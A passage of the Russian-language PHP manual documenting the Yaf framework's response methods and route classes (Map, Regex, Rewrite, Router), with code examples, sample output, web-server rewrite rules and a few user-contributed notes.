<?php
$response = new Yaf_Response_Http();

$response->setBody("Привет")->setBody(", Мир", "footer");

var_dump($response->getBody()); //по умолчанию
var_dump($response->getBody(Yaf_Response_Abstract::DEFAULT_BODY)); //так же, как и выше
var_dump($response->getBody("footer"));
var_dump($response->getBody(NULL)); //получить все
?>

Результатом выполнения данного примера будет что-то подобное:

string(5) "Привет"
string(5) "Привет"
string(6) ", Мир"
array(2) {
  ["content"]=>
  string(5) "Привет"
  ["footer"]=>
  string(6) ", Мир"
}

Смотрите также

  • Yaf_Response_Abstract::setBody() - Устанавливает содержимое ответа
  • Yaf_Response_Abstract::appendBody() - Добавляет содержимое к телу ответа
  • Yaf_Response_Abstract::prependBody() - Назначение prependBody
  • Yaf_Response_Abstract::clearBody() - Сбрасывает все существующее тело ответа

User Contributed Notes

There are no user contributed notes for this page.


Назначение getHeader

  • « Yaf_Response_Abstract::getBody
  • Yaf_Response_Abstract::prependBody »
  • PHP Manual
  • Yaf_Response_Abstract
  • Назначение getHeader

Yaf_Response_Abstract::getHeader

(Yaf >=1.0.0)

Yaf_Response_Abstract::getHeader — Назначение getHeader

Описание

public Yaf_Response_Abstract::getHeader(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • Yaf_Response_Abstract::setHeader() - Устанавливает заголовок ответа
  • Yaf_Response_Abstract::cleanHeaders()

User Contributed Notes

There are no user contributed notes for this page.


Назначение prependBody

  • « Yaf_Response_Abstract::getHeader
  • Yaf_Response_Abstract::response »
  • PHP Manual
  • Yaf_Response_Abstract
  • Назначение prependBody

Yaf_Response_Abstract::prependBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::prependBody — Назначение prependBody

Описание

public Yaf_Response_Abstract::prependBody(string $content, string $key = ?): bool

Добавляет содержимое в существующий блок содержимого

Список параметров

body

Строка содержимого

key

Ключ содержимого, вы можете установить содержимое с ключом, если вы не укажете, то будет использоваться Yaf_Response_Abstract::DEFAULT_BODY

Замечание:

Параметр добавлен с 2.2.0

Возвращаемые значения

bool

Примеры

Пример #1 Пример использования Yaf_Response_Abstract::prependBody()

<?php
$response = new Yaf_Response_Http();

$response->setBody("Мир")->prependBody("Привет ,");

echo $response;
?>

Результатом выполнения данного примера будет что-то подобное:

Привет, Мир

Смотрите также

  • Yaf_Response_Abstract::getBody() - Получает существующее содержимое
  • Yaf_Response_Abstract::setBody() - Устанавливает содержимое ответа
  • Yaf_Response_Abstract::appendBody() - Добавляет содержимое к телу ответа
  • Yaf_Response_Abstract::clearBody() - Сбрасывает все существующее тело ответа

User Contributed Notes

There are no user contributed notes for this page.


Отправляет ответ

  • « Yaf_Response_Abstract::prependBody
  • Yaf_Response_Abstract::setAllHeaders »
  • PHP Manual
  • Yaf_Response_Abstract
  • Отправляет ответ

Yaf_Response_Abstract::response

(Yaf >=1.0.0)

Yaf_Response_Abstract::response — Отправляет ответ

Описание

public Yaf_Response_Abstract::response(): void

Отправляет ответ

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Response_Abstract::response()

<?php
$response = new Yaf_Response_Http();

$response->setBody("Привет")->setBody(", Мир", "footer");

$response->response();
?>

Результатом выполнения данного примера будет что-то подобное:

Привет, Мир

Смотрите также

  • Yaf_Response_Abstract::setBody() - Устанавливает содержимое ответа
  • Yaf_Response_Abstract::clearBody() - Сбрасывает все существующее тело ответа

User Contributed Notes

There are no user contributed notes for this page.


Назначение setAllHeaders

  • « Yaf_Response_Abstract::response
  • Yaf_Response_Abstract::setBody »
  • PHP Manual
  • Yaf_Response_Abstract
  • Назначение setAllHeaders

Yaf_Response_Abstract::setAllHeaders

(Yaf >=1.0.0)

Yaf_Response_Abstract::setAllHeaders — Назначение setAllHeaders

Описание

protected Yaf_Response_Abstract::setAllHeaders(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает содержимое ответа

  • « Yaf_Response_Abstract::setAllHeaders
  • Yaf_Response_Abstract::setHeader »
  • PHP Manual
  • Yaf_Response_Abstract
  • Устанавливает содержимое ответа

Yaf_Response_Abstract::setBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::setBody — Устанавливает содержимое ответа

Описание

public Yaf_Response_Abstract::setBody(string $content, string $key = ?): bool

Устанавливает содержимое ответа

Список параметров

body

Строка содержимого

key

Ключ содержимого, вы можете установить содержимое с ключом, если вы не укажете, то будет использоваться Yaf_Response_Abstract::DEFAULT_BODY

Замечание:

Параметр добавлен с 2.2.0

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Response_Abstract::setBody()

<?php
$response = new Yaf_Response_Http();

$response->setBody("Привет")->setBody(", Мир", "footer");

print_r($response);
echo $response;
?>

Результатом выполнения данного примера будет что-то подобное:

Yaf_Response_Http Object
(
    [_header:protected] => Array
        (
        )

    [_body:protected] => Array
        (
            [content] => Привет
            [footer] => , Мир
        )

    [_sendheader:protected] => 1
    [_response_code:protected] => 200
)
Привет, Мир

Смотрите также

  • Yaf_Response_Abstract::getBody() - Получает существующее содержимое
  • Yaf_Response_Abstract::appendBody() - Добавляет содержимое к телу ответа
  • Yaf_Response_Abstract::prependBody() - Назначение prependBody
  • Yaf_Response_Abstract::clearBody() - Сбрасывает все существующее тело ответа

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает заголовок ответа

  • « Yaf_Response_Abstract::setBody
  • Yaf_Response_Abstract::setRedirect »
  • PHP Manual
  • Yaf_Response_Abstract
  • Устанавливает заголовок ответа

Yaf_Response_Abstract::setHeader

(Yaf >=1.0.0)

Yaf_Response_Abstract::setHeader — Устанавливает заголовок ответа

Описание

public Yaf_Response_Abstract::setHeader(string $name, string $value, bool $replace = ?): bool

Используется для отправки HTTP-заголовка

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • Yaf_Response_Abstract::getHeader() - Назначение getHeader
  • Yaf_Response_Abstract::cleanHeaders()

User Contributed Notes

lee dot howarth dot 90 at gmail dot com 11-Apr-2014 02:45
A few examples of how to send headers from a controller...

/* Set Content-Type */
 $response = $this -> getResponse();

 $response -> setHeader( 'Content-Type', 'text/html; CHARSET=Windows-1251' );

$response -> response();

/* Set HTTP Status */
$response = $this -> getResponse();

$response -> setHeader( $this -> getRequest() -> getServer( 'SERVER_PROTOCOL' ), '404 Not Found' );

$response -> response();

You could also use $_SERVER[ 'SERVER_PROTOCOL' ] however it is recommend to extend the request class do some cleaning of the super globals then you should be good to go.


Назначение setRedirect

  • « Yaf_Response_Abstract::setHeader
  • Yaf_Response_Abstract::__toString »
  • PHP Manual
  • Yaf_Response_Abstract
  • Назначение setRedirect

Yaf_Response_Abstract::setRedirect

(Yaf >=1.0.0)

Yaf_Response_Abstract::setRedirect — Назначение setRedirect

Описание

public Yaf_Response_Abstract::setRedirect(string $url): bool

Список параметров

url

Адрес для перенаправления

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает все тело в виде строки

  • « Yaf_Response_Abstract::setRedirect
  • Yaf_Route_Interface »
  • PHP Manual
  • Yaf_Response_Abstract
  • Получает все тело в виде строки

Yaf_Response_Abstract::__toString

(Yaf >=1.0.0)

Yaf_Response_Abstract::__toString — Получает все тело в виде строки

Описание

private Yaf_Response_Abstract::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Route_Interface

(Yaf >=1.0.0)

Введение

Yaf_Route_Interface используется для задания собственной маршрутизации.

Обзор классов

class Yaf_Route_Interface {
/* Методы */
abstract public assemble(array $info, array $query = ?): string
abstract public route(Yaf_Request_Abstract $request): bool
}

Содержание

  • Yaf_Route_Interface::assemble — Собирает запрос
  • Yaf_Route_Interface::route — Направление запроса

User Contributed Notes

There are no user contributed notes for this page.


Собирает запрос

  • « Yaf_Route_Interface
  • Yaf_Route_Interface::route »
  • PHP Manual
  • Yaf_Route_Interface
  • Собирает запрос

Yaf_Route_Interface::assemble

(Yaf >=2.3.0)

Yaf_Route_Interface::assemble — Собирает запрос

Описание

abstract public Yaf_Route_Interface::assemble(array $info, array $query = ?): string

Метод возвращает URL в соответствии с информацией аргумента и добавляет строки запроса к URL в соответствии с запросом аргумента.

Маршрут должен реализовывать этот метод в соответствии со своими правилами и выполнять обратный процесс.

Список параметров

info

query

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Направление запроса

  • « Yaf_Route_Interface::assemble
  • Yaf_Route_Map »
  • PHP Manual
  • Yaf_Route_Interface
  • Направление запроса

Yaf_Route_Interface::route

(Yaf >=1.0.0)

Yaf_Route_Interface::route — Направление запроса

Описание

abstract public Yaf_Route_Interface::route(Yaf_Request_Abstract $request): bool

Yaf_Route_Interface::route() - это единственный метод, который должен реализовывать пользовательский маршрут.

Замечание:

начиная с 2.3.0, должен быть реализован ещё один метод, смотрите Yaf_Route_Interface::assemble().

Если метод возвращает true, тогда процесс маршрута будет завершён. В противном случае Yaf_Router вызовет следующий маршрут в стеке маршрутов для запроса маршрута.

Этот метод установит результат маршрута для запроса параметра,
вызвав Yaf_Request_Abstract::setControllerName(),
Yaf_Request_Abstract::setActionName() и
Yaf_Request_Abstract::setModuleName().

Метод должен также вызывать Yaf_Request_Abstract::setRouted(), чтобы запрос наконец-то был перенаправлен.

Список параметров

request

Экземпляр Yaf_Request_Abstract.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Route_Map

(Yaf >=1.0.0)

Введение

Yaf_Route_Map - это встроенный маршрут, он просто преобразует конечную точку URI (ту часть URI, которая идёт после базового URI: смотрите Yaf_Request_Abstract::setBaseUri()) в имя контроллера или имя действия (зависит от параметра, переданного в Yaf_Route_Map::__construct()) в следующем правиле: A => controller A. A/B/C => controller A_B_C. A/B/C/D/E => controller A_B_C_D_E.

If the second parameter of Yaf_Route_Map::__construct() is specified, then only the part before delimiter of URI will used to routing, the part after it is used to routing request parameters (see the example section of Yaf_Route_Map::__construct()).

Обзор классов

class Yaf_Route_Map implements Yaf_Route_Interface {
/* Свойства */
protected $_ctl_router;
protected $_delimiter;
/* Методы */
public __construct(string $controller_prefer = false, string $delimiter = "")
public assemble(array $info, array $query = ?): string
public route(Yaf_Request_Abstract $request): bool
}

Свойства

_ctl_router

_delimiter

Содержание

  • Yaf_Route_Map::assemble — Собирает URL
  • Yaf_Route_Map::__construct — Назначение __construct
  • Yaf_Route_Map::route — Назначение route

User Contributed Notes

There are no user contributed notes for this page.


Собирает URL

  • « Yaf_Route_Map
  • Yaf_Route_Map::__construct »
  • PHP Manual
  • Yaf_Route_Map
  • Собирает URL

Yaf_Route_Map::assemble

(Yaf >=2.3.0)

Yaf_Route_Map::assemble — Собирает URL

Описание

public Yaf_Route_Map::assemble(array $info, array $query = ?): string

Собирает URL.

Список параметров

info

query

Возвращаемые значения

Возвращает строку (string) в случае успешного выполнения или null в случае возникновения ошибки.

Ошибки

Может выбросить Yaf_Exception_TypeError.

Примеры

Пример #1 Пример использования Yaf_Route_Map::assemble()

<?php

$router = new Yaf_Router();

$route = new Yaf_Route_Map();

$router->addRoute("map", $route);

var_dump($router->getRoute('map')->assemble(
array(
':c' => 'foo_bar'
),
array(
'tkey1' => 'tval1',
'tkey2' => 'tval2'
)
)
);

$route = new Yaf_Route_Map(true, '_');
$router->addRoute("map", $route);

var_dump($router->getRoute('map')->assemble(
array(
':a' => 'foo_bar'
),
array(
'tkey1' => 'tval1',
'tkey2' => 'tval2'
)
)
);

Результатом выполнения данного примера будет что-то подобное:

string(%d) "/foo/bar?tkey1=tval1&tkey2=tval2"
string(%d) "/foo/bar/_/tkey1/tval1/tkey2/tval2"

User Contributed Notes

There are no user contributed notes for this page.


Назначение __construct

  • « Yaf_Route_Map::assemble
  • Yaf_Route_Map::route »
  • PHP Manual
  • Yaf_Route_Map
  • Назначение __construct

Yaf_Route_Map::__construct

(Yaf >=1.0.0)

Yaf_Route_Map::__construct — Назначение __construct

Описание

public Yaf_Route_Map::__construct(string $controller_prefer = false, string $delimiter = "")

Список параметров

controller_prefer

Должен ли результат рассматриваться как контролёр или действие

delimiter

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Route_Map()

<?php
/**
* Добавить карту маршрута в стек маршрутов Yaf_Router
*/
Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
new Yaf_Route_Map());
?>

Результатом выполнения данного примера будет что-то подобное:

/* для http://yourdomain.com/product/foo/bar
 * результатом маршрута будут следующие значения:
 */
array(
  "controller" => "product_foo_bar",
)

Пример #2 Пример использования Yaf_Route_Map()

<?php
/**
* Добавить карту маршрута в стек маршрутов Yaf_Router
*/
Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
new Yaf_Route_Map(true, "_"));
?>

Результатом выполнения данного примера будет что-то подобное:

/* для http://yourdomain.com/user/list/_/foo/22
 * результатом маршрута будут следующие значения::
 */
array(
    "action" => "user_list",
)

/**
 * и параметры запроса:
 */
array(
  "foo"   => 22,
)

Пример #3 Пример использования Yaf_Route_Map()

<?php
/**
* Добавьте карту маршрута в стек маршрутов Yaf_Router, вызвав addconfig
*/
$config = array(
"name" => array(
"type" => "map", //маршрут Yaf_Route_Map
"controllerPrefer" => FALSE,
"delimiter" => "#!",
),
);
Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
new Yaf_Config_Simple($config));
?>

Смотрите также

  • Yaf_Router::addRoute() - Добавляет новый маршрут в маршрутизатор
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Rewrite

User Contributed Notes

There are no user contributed notes for this page.


Назначение route

  • « Yaf_Route_Map::__construct
  • Yaf_Route_Regex »
  • PHP Manual
  • Yaf_Route_Map
  • Назначение route

Yaf_Route_Map::route

(Yaf >=1.0.0)

Yaf_Route_Map::route — Назначение route

Описание

public Yaf_Route_Map::route(Yaf_Request_Abstract $request): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

request

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Route_Regex

(Yaf >=1.0.0)

Введение

Yaf_Route_Regex - самый гибкий маршрутизатор из всех встроенных маршрутизаторов Yaf.

Обзор классов

class Yaf_Route_Regex extends Yaf_Route_Interface implements Yaf_Route_Interface {
/* Свойства */
protected $_route;
protected $_default;
protected $_maps;
protected $_verify;
/* Методы */
public __construct(
string $match,
array $route,
array $map = ?,
array $verify = ?,
string $reverse = ?
)
public assemble(array $info, array $query = ?): ?string
public route(Yaf_Request_Abstract $request): bool
/* Наследуемые методы */
abstract public Yaf_Route_Interface::assemble(array $info, array $query = ?): string
abstract public Yaf_Route_Interface::route(Yaf_Request_Abstract $request): bool
}

Свойства

_route

_default

_maps

_verify

Содержание

  • Yaf_Route_Regex::assemble — Сформировать URL-адрес
  • Yaf_Route_Regex::__construct — Конструктор класса Yaf_Route_Regex
  • Yaf_Route_Regex::route — Цель маршрута

User Contributed Notes

There are no user contributed notes for this page.


Сформировать URL-адрес

  • « Yaf_Route_Regex
  • Yaf_Route_Regex::__construct »
  • PHP Manual
  • Yaf_Route_Regex
  • Сформировать URL-адрес

Yaf_Route_Regex::assemble

(Yaf >=2.3.0)

Yaf_Route_Regex::assemble — Сформировать URL-адрес

Описание

public Yaf_Route_Regex::assemble(array $info, array $query = ?): ?string

Сформировать URL-адрес.

Список параметров

info

query

Возвращаемые значения

Возвращает строку (string) в случае успешного выполнения или null в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Yaf_Route_Regex::assemble()

<?php

$router = new Yaf_Router();

$route = new Yaf_Route_Regex(
"#^/product/([^/]+)/([^/])+#",
array(
'controller' => "product", //маршрут на контроллер product,
),
array(),
array(),
'/:m/:c/:a'
);

$router->addRoute("regex", $route);

var_dump($router->getRoute('regex')->assemble(
array(
':m' => 'module',
':c' => 'controller',
':a' => 'action'
),
array(
'tkey1' => 'tval1',
'tkey2' =>
'tval2'
)
)
);

Результатом выполнения данного примера будет что-то подобное:

string(49) "/module/controller/action?tkey1=tval1&tkey2=tval2"

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Yaf_Route_Regex

  • « Yaf_Route_Regex::assemble
  • Yaf_Route_Regex::route »
  • PHP Manual
  • Yaf_Route_Regex
  • Конструктор класса Yaf_Route_Regex

Yaf_Route_Regex::__construct

(Yaf >=1.0.0)

Yaf_Route_Regex::__construct — Конструктор класса Yaf_Route_Regex

Описание

public Yaf_Route_Regex::__construct(
string $match,
array $route,
array $map = ?,
array $verify = ?,
string $reverse = ?
)

Список параметров

match

Готовый шаблон регулярного выражения будет использоваться для проверки соответствия URI запроса; если не совпадает, Yaf_Route_Regex вернёт false.

route

Когда шаблон соответствия соответствует URI запроса, Yaf_Route_Regex будет решать, к какому маршруту m/c/a он относится.

Любой из m/c/a в этом массиве - необязательный, если вы не назначите какое-либо значение, он перенаправит на маршрут по умолчанию.

map

Массив для назначения имени совпадениям (captures).

verify

reverse

Строка, используемая для формирования URL, смотрите Yaf_Route_Regex::assemble().

Замечание:

Этот параметр был представлен в версии 2.3.0

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Route_Regex()

<?php
/**
* Добавить маршрут регулярного выражения в стек маршрута Yaf_Router Yaf_Router
*/
Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
new Yaf_Route_Regex(
"#^/product/([^/]+)/([^/])+#", // совпадение с URI запроса, начинающегося с "/product"
array(
'controller' => "product", // маршрут на контроллер product,
),
array(
1 => "name", // теперь вы можете вызвать $request->getParam("name")
2 => "id", // для получения первого совпадения в шаблоне.
)
)
);
?>

Пример #2 Пример использования Yaf_Route_Regex (с версии 2.3.0)()

<?php
/**
* Использовать результат совпадения в качестве имени MVC
*/
Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
new Yaf_Route_Regex(
"#^/product/([^/]+)/([^/])+#i", // совпадение с URI запроса, начинающегося с "/product"
array(
'controller' => ":name", // маршрут на :name, которому соответствует $1 в результате совпадения как имя контроллера
),
array(
1 => "name", // теперь вы можете вызвать $request->getParam("name")
2 => "id", // для получения первого совпадения в шаблоне.
)
)
);
?>

Пример #3 Пример использования Yaf_Route_Regex с именованными совпадениями (с версии 2.3.0)()

<?php
/**
* Использовать результат совпадения в качестве имени MVC
*/
Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
new Yaf_Route_Regex(
"#^/product/(?<name>[^/]+)/([^/])+#i", //match request uri leading "/product"
array(
'controller' => ":name", // маршрут на :name,
// который называется именем группы совпадения 'name' в результате совпадения как имя контроллера
),
array(
2 => "id", // для получения первого совпадения в шаблоне.
)
)
);
?>

Пример #4 Пример использования Yaf_Route_Regex()

<?php
/**
* Добавить маршрут регулярного выражения в стек маршрута Yaf_Router, вызвав addconfig
*/
$config = array(
"name" => array(
"type" => "regex", // маршрут Yaf_Route_Regex
"match" => "#(.*)#", // совпадение с произвольным запросом URI
"route" => array(
'controller' => "product", // маршрут на контроллер product,
'action' => "dummy", // маршрут на действие dummy
),
"map" => array(
1 => "uri", // теперь вы можете вызвать $request->getParam("uri")
),
),
);
Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
new Yaf_Config_Simple($config));
?>

Смотрите также

  • Yaf_Router::addRoute() - Добавляет новый маршрут в маршрутизатор
  • Yaf_Router::addConfig() - Добавляет настроенные маршруты в маршрутизатор
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.


Цель маршрута

  • « Yaf_Route_Regex::__construct
  • Yaf_Route_Rewrite »
  • PHP Manual
  • Yaf_Route_Regex
  • Цель маршрута

Yaf_Route_Regex::route

(Yaf >=1.0.0)

Yaf_Route_Regex::route — Цель маршрута

Описание

public Yaf_Route_Regex::route(Yaf_Request_Abstract $request): bool

Перенаправить входящий запрос.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

request

Возвращаемые значения

Если шаблон задан первым параметром Yaf_Route_Regex::_construct() проводит соответствие с запросом URI, возвращая true, в противном случае - false.

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Route_Rewrite

(Yaf >=1.0.0)

Введение

Пример использования смотрите в разделе примеров Yaf_Route_Rewrite::__construct()

Обзор классов

class Yaf_Route_Rewrite extends Yaf_Route_Interface implements Yaf_Route_Interface {
/* Свойства */
protected $_route;
protected $_default;
protected $_verify;
/* Методы */
public __construct(string $match, array $route, array $verify = ?)
public assemble(array $info, array $query = ?): string
public route(Yaf_Request_Abstract $request): bool
/* Наследуемые методы */
abstract public Yaf_Route_Interface::assemble(array $info, array $query = ?): string
abstract public Yaf_Route_Interface::route(Yaf_Request_Abstract $request): bool
}

Свойства

_route

_default

_verify

Содержание

  • Yaf_Route_Rewrite::assemble — Собирает URL
  • Yaf_Route_Rewrite::__construct — Конструктор класса Yaf_Route_Rewrite
  • Yaf_Route_Rewrite::route — Назначение route

User Contributed Notes

There are no user contributed notes for this page.


Собирает URL

  • « Yaf_Route_Rewrite
  • Yaf_Route_Rewrite::__construct »
  • PHP Manual
  • Yaf_Route_Rewrite
  • Собирает URL

Yaf_Route_Rewrite::assemble

(Yaf >=2.3.0)

Yaf_Route_Rewrite::assemble — Собирает URL

Описание

public Yaf_Route_Rewrite::assemble(array $info, array $query = ?): string

Собирает URL.

Список параметров

info

query

Возвращаемые значения

Возвращает строку (string).

Примеры

Пример #1 Пример использования Yaf_Route_Rewrite::assemble()

router = new Yaf_Router();

$route = new Yaf_Route_Rewrite(
"/product/:name/:id/*",
array(
'controller' => "product",
),
array()
);

$router->addRoute("rewrite", $route);

var_dump($router->getRoute('rewrite')->assemble(
array(
':name' => 'foo',
':id' => 'bar',
':tmpkey1' => 'tmpval1'
),
array(
'tkey1' => 'tval1',
'tkey2' => 'tval2'
)
)
);

Результатом выполнения данного примера будет что-то подобное:

string(57) "/product/foo/bar/tmpkey1/tmpval1/?tkey1=tval1&tkey2=tval2"

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Yaf_Route_Rewrite

  • « Yaf_Route_Rewrite::assemble
  • Yaf_Route_Rewrite::route »
  • PHP Manual
  • Yaf_Route_Rewrite
  • Конструктор класса Yaf_Route_Rewrite

Yaf_Route_Rewrite::__construct

(Yaf >=1.0.0)

Yaf_Route_Rewrite::__construct — Конструктор класса Yaf_Route_Rewrite

Описание

public Yaf_Route_Rewrite::__construct(string $match, array $route, array $verify = ?)

Список параметров

match

Шаблон, который будет использоваться для сопоставления URI запроса, если он не совпадает, Yaf_Route_Rewrite вернёт false.

Вы можете использовать: стиль имени для именования совпадающих сегментов и использовать * для соответствия остальным сегментам URL.

route

Когда шаблон совпадения соответствует запросу uri, Yaf_Route_Rewrite будет использовать это, чтобы решить, какой модуль/контроллер/действие является пунктом назначения.

Любой модуль/контроллер/действие в этом массиве не является обязательным, если вы не назначите конкретное значение, оно будет перенаправлено на значение по умолчанию.

verify

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Route_Rewrite()

<?php
/**
* Добавить маршрут перезаписи в стек маршрутов Yaf_Router
*/
Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
new Yaf_Route_rewrite(
"/product/:name/:id/*", //запрос на совпадение с ведущим "/product"
array(
'controller' => "product", //маршрут к контроллеру product,
),
)
);
?>

Результатом выполнения данного примера будет что-то подобное:

/* для http://yourdomain.com/product/foo/22/foo/bar
 * результатом маршрута будут следующие значения:
 */
array(
  "controller" => "product",
  "module"     => "index", //(по умолчанию)
  "action"     => "index", //(по умолчанию)
)

/**
 * и параметры запроса:
 */
array(
  "name" => "foo",
  "id"   => 22,
  "foo"  => bar
)

Пример #2 Пример использования Yaf_Route_Rewrite()

<?php
/**
* Добавьте маршрут перезаписи в стек маршрутов Yaf_Router, вызвав addconfig
*/
$config = array(
"name" => array(
"type" => "rewrite", //маршрут Yaf_Route_Rewrite
"match" => "/user-list/:id", //совпадение только по /user/list/?/
"route" => array(
'controller' => "user", //маршрут к контроллеру user,
'action' => "list", //маршрут к действию list
),
),
);
Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
new Yaf_Config_Simple($config));
?>

Результатом выполнения данного примера будет что-то подобное:

/* для http://yourdomain.com/user-list/22
 * результатом маршрута будут следующие значения:
 */
array(
  "controller" => "user",
  "action"     => "list",
  "module"     => "index", //(по умолчанию)
)

/**
 * и параметры запроса:
 */
array(
  "id"   => 22,
)

Пример #3 Пример использования Yaf_Route_Rewrite(as of 2.3.0)()

<?php
/**
* Добавить переписать маршрут использовать результат поиска как имя м/к/д
*/
$config = array(
"name" => array(
"type" => "rewrite",
"match" => "/user-list/:a/:id", //совпадение только по /user-list/*
"route" => array(
'controller' => "user", //маршрут к контроллеру user,
'action' => ":a", //маршрут к действию :a
),
),
);
Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
new Yaf_Config_Simple($config));
?>

Результатом выполнения данного примера будет что-то подобное:

/* для http://yourdomain.com/user-list/list/22
 * результатом маршрута будут следующие значения:
 */
array(
  "controller" => "user",
  "action"     => "list",
  "module"     => "index", //(по умолчанию)
)

/**
 * и параметры запроса:
 */
array(
  "id"   => 22,
)

Смотрите также

  • Yaf_Router::addRoute() - Добавляет новый маршрут в маршрутизатор
  • Yaf_Router::addConfig() - Добавляет настроенные маршруты в маршрутизатор
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Map

User Contributed Notes

aqueel at ikonami dot net 20-Jun-2012 04:20
Working Example for Modules in YAF FOR PHP

Please follow these steps to make modules work in YAF.

1. Create a folder with name modules inside application directory the path would normally look like this

/application/modules

2. In modules folder copy following folders and files from application root.
    i. conf / configration folder ( what ever name your configration folder has)
    ii. controllers
    iii. models
    iv. plugins ( if you have)
    v.  Views

Now your folder structure will look like this

-- application
        -- controllers
        -- models
        -- modules
              -- [moduledirectory]
                 -- controllers
                 -- models
                 -- plugins
                 -- views
        -- plugins
        -- views

application.ini file in configuration folder will look like this the only thing to notice closely in this file is this line

;defined modules
application.modules= "Index,director"  // comma separated list of all modules that you will use in your web application using yaf

############################################################
[product]
;layout
application.directory = APP_PATH
application.bootstrap = APP_PATH "Bootstrap.php"
application.library = BASE_PATH "/library"

appnamespace = "Application"
resources.frontController.controllerDirectory = APP_PATH "controllers"
resources.frontController.params.displayExceptions = 0
resources.frontController.defaultModule = "index"
resources.frontController.defaultController = "index"
resources.frontController.defaultAction = "index"
;resources.frontController.moduleDirectory = APP_PATH "modules/"
resources.layout.layoutPath = APP_PATH "/layouts/scripts/"
resources.view[] =

;errors (see Bootstrap::initErrors)
application.showErrors=0

;enable the error controller
application.dispatcher.catchException=0
application.dispatcher.defaultModule=Index
application.dispatcher.defaultController=Index
application.dispatcher.defaultAction=index

;defined modules
application.modules= "Index,director"

;database
database.adapter = Pdo_Mysql
database.params.dbname  = printmaster
database.params.host     = localhost ;NA when using sqlite
database.params.username = root ;NA when using sqlite
database.params.password = root ;NA when using sqlite

[devel : product]

;errors (see Bootstrap::initErrors)
application.showErrors=1

#############################################################

Add this in your bootstrap.php

<?php
public function _initRoute(Yaf_Dispatcher $dis) {

$route1 = new Yaf_Route_Rewrite("/director",
            array(
                "controller" => "index",
                "module" => "director",
                "action" => "index"

                )
        );

}
?>


Назначение route

  • « Yaf_Route_Rewrite::__construct
  • Yaf_Router »
  • PHP Manual
  • Yaf_Route_Rewrite
  • Назначение route

Yaf_Route_Rewrite::route

(Yaf >=1.0.0)

Yaf_Route_Rewrite::route — Назначение route

Описание

public Yaf_Route_Rewrite::route(Yaf_Request_Abstract $request): bool

Список параметров

request

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Router

(Yaf >=1.0.0)

Введение

Yaf_Router - это стандартный каркасный маршрутизатор. Маршрутизация - это процесс получения конечной точки URI (той части URI, которая идёт после базового URI: смотрите Yaf_Request_Abstract::setBaseUri()) и разложение её на параметры, чтобы определить, какой модуль, контроллер и действие должны получить запрос. Эти значения модуля, контроллера, действия и других параметров упакованы в объект Yaf_Request_Abstract, который затем обрабатывается Yaf_Dispatcher. Маршрутизация происходит только один раз: при первоначальном получении запроса и до отправки первого контроллера. Yaf_Router предназначен для обеспечения функциональности, подобной mod_rewrite, с использованием чистых структур PHP. Он основан на маршрутизации Ruby on Rails и не требует каких-либо предварительных знаний о перезаписи URL веб-сервера. Он предназначен для работы с одним правилом Apache mod_rewrite (одним из):

Пример #1 Правило перезаписи для Apache

RewriteEngine on
RewriteRule !\.(js|ico|gif|jpg|png|css|html)$ index.php
или (предпочтительнее):

Пример #2 Правило перезаписи для Apache

RewriteEngine On
RewriteCond %{REQUEST_FILENAME} -s [OR]
RewriteCond %{REQUEST_FILENAME} -l [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [NC,L]
RewriteRule ^.*$ index.php [NC,L]
При использовании Lighttpd используйте следующее правило перезаписи:

Пример #3 Правило перезаписи для Lighttpd

url.rewrite-once = (
  ".*\?(.*)$" => "/index.php?$1",
  ".*\.(js|ico|gif|jpg|png|css|html)$" => "$0",
  "" => "/index.php"
)
При использовании Nginx используйте следующее правило перезаписи:

Пример #4 Правило перезаписи для Nginx

server {
  listen ****;
  server_name  yourdomain.com;
  root   document_root;
  index  index.php index.html;

  if (!-e $request_filename) {
    rewrite ^/(.*)  /index.php/$1 last;
  }
}

Маршрут по умолчанию

